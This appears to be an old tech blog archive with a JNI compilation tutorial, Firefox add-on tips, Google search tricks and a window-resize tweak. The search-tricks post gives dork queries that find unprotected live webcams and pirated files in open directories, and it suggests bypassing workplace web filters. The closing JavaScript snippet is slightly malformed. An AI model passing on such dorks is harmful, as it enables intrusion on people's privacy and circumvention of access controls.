cl -I C:\Programs\JavaSDK\include -I C:\Programs\JavaSDK\include\win32 -LD NativeLib.c -FeNativeLib.dll

Solaris with Sun Compiler

cc -G -I JavaSDK/include -I JavaSDK/include/solaris -o libNativeLib.so NativeLib.c

Linux with GCC

gcc -fPIC -I JavaSDK/include -I JavaSDK/include/linux -shared -o libNativeLib.so NativeLib.c

If your prefer to use Ant take a look at cc Task.

6. Run the example

java JavaJNI

Application output:

Input: Hello
Result: http://www.think-techie.com

7. Did you got errors ?

There are some common errors such as:

java.lang.UnsatisfiedLinkError: no NativeLib in 
java.library.path
at java.lang.ClassLoader.loadLibrary(Unknown Source)
at java.lang.Runtime.loadLibrary0(Unknown Source)
at java.lang.System.loadLibrary(Unknown Source)
at ...

The manner through which java searches for the needed files are different in each scenario:

Java searches for *.class files through the "-cp"/"-classpath" command line switch. If neither are specified on the command line, CLASSPATH is searched.
Java searches for JNI files through the "-Djava.library.path" command line switch. If "-Djava.library.path" is not specified, LD_LIBRARY_PATH is searched, but the /etc/ld.so.conf mechanism is not used.
The way a JNI glue library searches for the underlying C++ *.so libraries is not controlled by the Java process at all. The normal operating system rules are applied (LD_LIBRARY_PATH, /etc/ld.so.conf, etc.).

Consequently, one way of fixing this is to include the current location of your newly compiled shared library. If you are using linux you can do this:

LD_LIBRARY_PATH=`pwd`
export LD_LIBRARY_PATH

Another way is to define the location when running the program:

java -Djava.library.path=. JavaJNI

8. Did you got more errors ?

java.lang.UnsatisfiedLinkError: <library location>: 
<library location>: only ET_DYN and ET_EXEC can be loaded
at java.lang.ClassLoader$NativeLibrary.load(Native Method)
at java.lang.ClassLoader.loadLibrary0(ClassLoader.java:1778)
at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1674)
at java.lang.Runtime.load0(Runtime.java:770)
at java.lang.System.load(System.java:1005)
...

If you are using g++, try to include the option "-shared" when compiling the cpp file.

g++ -shared NativeLib.cpp -o NativeLib.so -I JavaSDK/include
-I JavaSDK/include/linux

Do not include the "-c" option. It will skip the linking stage.

References

[1] JNI – Java Native Interface. White Magician. wmagician.wordpress.com

Firefox extensions that every user must have

2009-08-27T10:56:00.013+02:00

Firefox's extensibility is one of its great advantages. There are so many plug-ins that it's hard to tell which add-ons are worth of install. So don't waste more time - here's my 15 essential Firefox extensions.

1. Copy plain text

Ever copied something from the web into a document only to have it ruined because the formatting is also copied? Fix this by getting Copy as Plain Text. Once it's installed, highlight some text, right-click on it and choose 'Copy as plain text' to do just that.

2. Encrypt and decrypt or data

Send and receive data over the internet can be very unsafe. FireGPG is a Firefox extension under MPL which brings an interface to encrypt, decrypt, sign or verify the signature of text in any web page using GnuPG.

3. Get TinyURLs

This add-on lets you create shortened URLs without having to go to a separate web page. Install TinyURL Creator. Now browse to the site you want to share, right-click anywhere and choose 'Create TinyURL for this page'. The result is automatically copied to the clipboard.

4. Use hyperwords

For the Swiss army knife of text add-ons, get Hyperwords. Once installed, it provides you with a dizzying array of options for highlighted text through its right-click menu. Choose 'Search' and then select from Google, the current site or a range of news sites and social-networking services for immediate search results. You can also look up the selection in a range of reference sites, including Wikipedia and the Urban Dictionary. There are also options to translate the text or share it with others.

5. Resurrect pages

When a website that you need goes down, you can hunt through each of the various caching services manually to find a snapshot of it, but this can be time-consuming. The Resurrect Pages extension does the hard work for you, replacing the standard 'page cannot be displayed' message with one that includes links to web cache services. Use these to quickly see if a service has a cached version of the page you want.

6. Avoid typos

It's easy to make a mistake when typing in a web address. URL Fixer anticipates common mistakes and sets them right so that you're not left with a broken link. It won't catch every slip, but it will help reduce your irritation levels a little.

7. Block ads

Adverts can be a big irritation. The AdBlock Plus extension enables you to block adverts that you don't want to see while allowing you to permit them for other sites. You can also set it up to block content from a number of different subscription services, and opt to turn off its filter for sites that you approve of.

8. Block script

Some sites execute code without your explicit permission. In a few cases, like that of the Twitter worm Mikeyy, this can be abused. No Script blocks all third-party scripts – including JavaScript, Java and Flash objects – until you give your permission for them to run. You can also identify sites as trusted so that you're not constantly vetting scripts on familiar pages.

9. Pretend to be IE

Some webmasters are wise to the fact that Firefox users can block ads and scripts with plug-ins, so they prevent access to their sites for people using Firefox. User Agent Switcher disguises your browser as Internet Explorer to get round this restriction. The utility adds a sub-menu to the Tools menu that enables you to select the browser and OS that you want to display to sites.

10. Run IE in Firefox

Some sites need Internet Explorer to render properly. Rather than close Firefox, try IE Tab. Right-click and choose 'Open Page in IE tab' to open a new tab that emulates Internet Explorer.

11. Add Google Bookmarks

Use the GMarks extension to integrate your Google Bookmarks with Firefox. Log into your Google account to replace the existing Bookmarks menu and Bookmarks Toolbar folder with GMarks. This is a handy way to keep all of your bookmarks in one place.

12. Add Delicious Bookmarks

Delicious Bookmarks is the official Firefox add-on for Delicious, the world's leading social bookmarking service (formerly del.icio.us). It integrates your bookmarks and tags with Firefox and keeps them in sync for easy, convenient access.

13. Add bookmarks from IE

Another bookmark synchronising add-on is Xmarks that has evolved from an earlier extension known as Foxmarks. You can use it to synchronise your bookmarks with Internet Explorer and Safari, meaning that you'll have quick access to your favourite pages no matter which browser you're using. It also provides site suggestions and community feedback.

14. Check site security

McAfee's Site Advisor add-on provides a service that's focused on making sure that you're safe online. When you run a Google search, each result is either rated as 'safe' or has any potential problems flagged. Hover over the Site Advisor icon next to the result to find out more.

15. Hide your tabs

You want to leave some page running but you have too many pages opened ? Use the add-on to hide/unhide individual tabs.

Top Google Search Tricks

2009-08-07T11:29:00.012+02:00

When it comes to the Google search box, you already know some tricks: finding exact phrases matches using quotes or searching a single site using site:example.com gmail. But there are many more oblique, clever, and lesser-known search recipes and operators that work from that unassuming little input box. Dozens of Google search guides detail the tips you already know, but today i will present my favorite obscure Google web search tricks.

1. Explicit Phrase:

Lets say you are looking for content about internet marketing. Instead of just typing internet marketing into the Google search box, you will likely be better off searching explicitly for the phrase. To do this, simply enclose the search phrase within double quotes.

Example: "internet marketing"

2. Exclude Words:

Lets say you want to search for content about internet marketing, but you want to exclude any results that contain the term advertising. To do this, simply use the "-" sign in front of the word you want to exclude.

Example Search: internet marketing -advertising

3. Site Specific Search:

Often, you want to search a specific website for content that matches a certain phrase. Even if the site doesn’t support a built-in search feature, you can use Google to search the site for your term. Simply use the "site:somesite.com" modifier.

Example: "internet marketing" site:wikipedia.org

4. Similar Words and Synonyms:

Let’s say you are want to include a word in your search, but want to include results that contain similar words or synonyms. To do this, use the "~" in front of the word.

Example: castle ~glossary

5. Specific Document Types:

If you’re looking to find results that are of a specific type, you can use the modifier "filetype:". For example, you might want to find only PowerPoint presentations related to internet marketing.

Example: "internet marketing" filetype:ppt

6. This OR That:

By default, when you do a search, Google will include all the terms specified in the search. If you are looking for any one of one or more terms to match, then you can use the OR operator. (Note: The OR has to be capitalized).

Example: internet marketing OR advertising

7. Phone Listing:

Let’s say someone calls you on your mobile number and you don’t know how it is. If all you have is a phone number, you can look it up on Google using the phonebook feature.

Example: phonebook:617-555-1212
Note: You’ll have to use a real number to get any results

8. Numeric Ranges:

This is a rarely used, but highly useful tip. Let’s say you want to find results that contain any of a range of numbers. You can do this by using the X..Y modifier (in case this is hard to read, what’s between the X and Y are two periods. This type of search is useful for years (as shown below), prices or anywhere where you want to provide a series of numbers.

Example: president 1940..1950

9. Calculator:

The next time you need to do a quick calculation, instead of bringing up the Calculator applet, you can just type your expression in to Google.

Example: 48512 * 1.02

10. Word Definitions:

If you need to quickly look up the definition of a word or phrase, simply use the "define:" command.

Example: define:plethora

11. Get the local time anywhere

What time is it in Bangkok right now? Ask Google. Enter simply time and the place to get the local time in big cities around the world.

Example: time hong kong

12. Track flight status

Enter the airline and flight number into the Google search box. Notice that Google now tells you if your flight is on time or delayed, as well as the estimated departure and arrival times.

Example: BA 0011 (It must exist)

13. Convert currency, metrics, bytes, and more

Google's powerful built-in converter calculator can help you out whether you're cooking dinner, traveling abroad, or building a PC. Find out how many teaspoons are in a quarter cup (quarter cup in teaspoons) or how many seconds there are in a year (seconds in a year) or how many euros there are to five dollars (5 USD in Euro). For the geekier set, bits in kilobytes (155473 bytes in kilobytes) and numbers in hex or binary (19 in binary) are also pretty useful.

14. Compare and find similar items

Simply search for, in quotes: "better than _keyword_"

The results will almost always lead you to discovering alternatives to whatever it is you're searching for. Using the same concept, you can use this trick to discover new music or movies. For example, " reminds me of _someband_" or "sounds like _someband_" will pull up artists people have thought sounded similar to the one you typed in. This is also a great way to find good, no-name musicians you'd probably never know of otherwise.

Examples:
Results 1 - 100 of about 550 English pages for " better than WinAmp".
Results 1 - 57 of 57 English pages for " better than mIRC".
Results 1 - 88 of 88 English pages for " reminds me of Metallica".
Results 1 - 36 of 36 English pages for " similar to Garden State".
Results 1 - 66 of 66 English pages for " sounds like The Shins".

Just get creative and you'll, without a doubt, find cool new stuff you probably never knew existed.

15. Use Google as a free proxy

What, your company blocks that hip new web site just because it drops the F bomb occasionally? Use Google's cache to take a peek even when the originating site's being blocked, with cache:example.com.

Example: cache:google.com

16. Remove affiliate links from product searches

When you're sick of seeing duplicate product search results from the likes of eBay, Bizrate, Pricerunner, and Shopping.com, clear 'em out by stacking up the -site:ebay.com -site:bizrate.com -site:shopping.com operator. Alternately, check out Give Me Back My Google, a service that does all that known reseller cleaning up for you when you search for products.

Example: Compare this GMBMG search for a Cruzer 1GB flash drive to the regular Google results.

17. Find related terms and documents

Ok, this one's direct from any straight-up advanced search operator cheat sheet, but it's still one of the lesser-used tricks in the book. Adding a tilde (~) to a search term will return related terms. For example, Googling ~nutrition returns results with the words nutrition, food, and health in them.

18. Find music and comic books

Using a combination of advanced search operators that specify music files available in an Apache directory listing, you can turn Google into your personal Napster. The same type of search recipe can find other types of content as well.

Examples:
-inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(wma|mp3) "Beatles"
-inurl:htm -inurl:html intitle:"index of" "Last modified" spider-man cbr
-inurl:htm -inurl:html intitle:"index of" "Last modified" simpsons cbr

19. ID people, objects, and foreign language words and phrases with Google Image Search

Google Image search results show you instead of tell you about a word. Don't know what beans looks like? Not sure if the person named "Priti" who you're emailing with is a woman or a man? Spanish rusty and you forgot what "corazon" is? Pop your term into Google Image Search (or type image beans into the regular search box) to see what your term's about.

20. Find live webcams with Google

The trick to find and search for open unprotected Internet webcams that broadcast to the web, is by using the following query: intitle:”Live View / – AXIS” | inurl:view/view.shtml^

21. Make Google recognize faces

If you're doing an image search for Paris Hilton and you don't want any of the French city, a special URL parameter in Google's Image search will do the trick. Add &imgtype=face to the end of your image search to just get images of faces, without any inanimate objects. Try it out with a search for rose (which returns many photos of flowers) versus rose with the face parameter.

Sources:

1. Top 10 Obscure Google Search Tricks
2. 12 Quick Tips To Search Google Like An Expert

What's your favorite ninja Google search technique?

Prevent websites from resizing Firefox's browser window

2009-08-05T10:19:00.010+02:00

Firefox is my browser of choice. This browser is now more secure than ever, rock solid, very polished and popular enough that you had dozens of extensions to customize it to your liking.

Now, one of the most obvious tweaks you can apply to your Firefox installation is removing the annoyance of letting websites resize the window at their will. Despite of the more sophisticated pop-up blocker that comes in most recent versions of the browser, many websites still do away with popping those up and in many cases resizing either your main window or maximizing the pop-up window to get your full attention (just before you hit the X button).

You won’t even need an add-on to do this.

Go to Tools > Options
Click on the Content tab
Next to where it says "Enable Javascript", click on Advanced
Uncheck the option "Move or resize existing windows"
It is also a good idea uncheck the option "Raise or lower windows"

Click on the OK button twice to save the changes, and then you’re done. This will disallow any website to adjust the size of your browser window. It’s a great way to make sure your browsing experience stays yours.

How to reproduce this annoying feature ?

A simple way to do it is using JavaScript:

The screen width, height can be obtained from: screen.width and screen.height

var w = screen.width;
var h = screen.height;

To move a browser window to a specific location on the users screen using JS:

window.moveTo(0, h - 100);

To resize the browser window: window.resize(width, height);

window.moveTo(w/2, h/2);

</script>

This code is usually written in the HTML page within the tag <body>. If you want to test if you have this annoying feature enabled click here.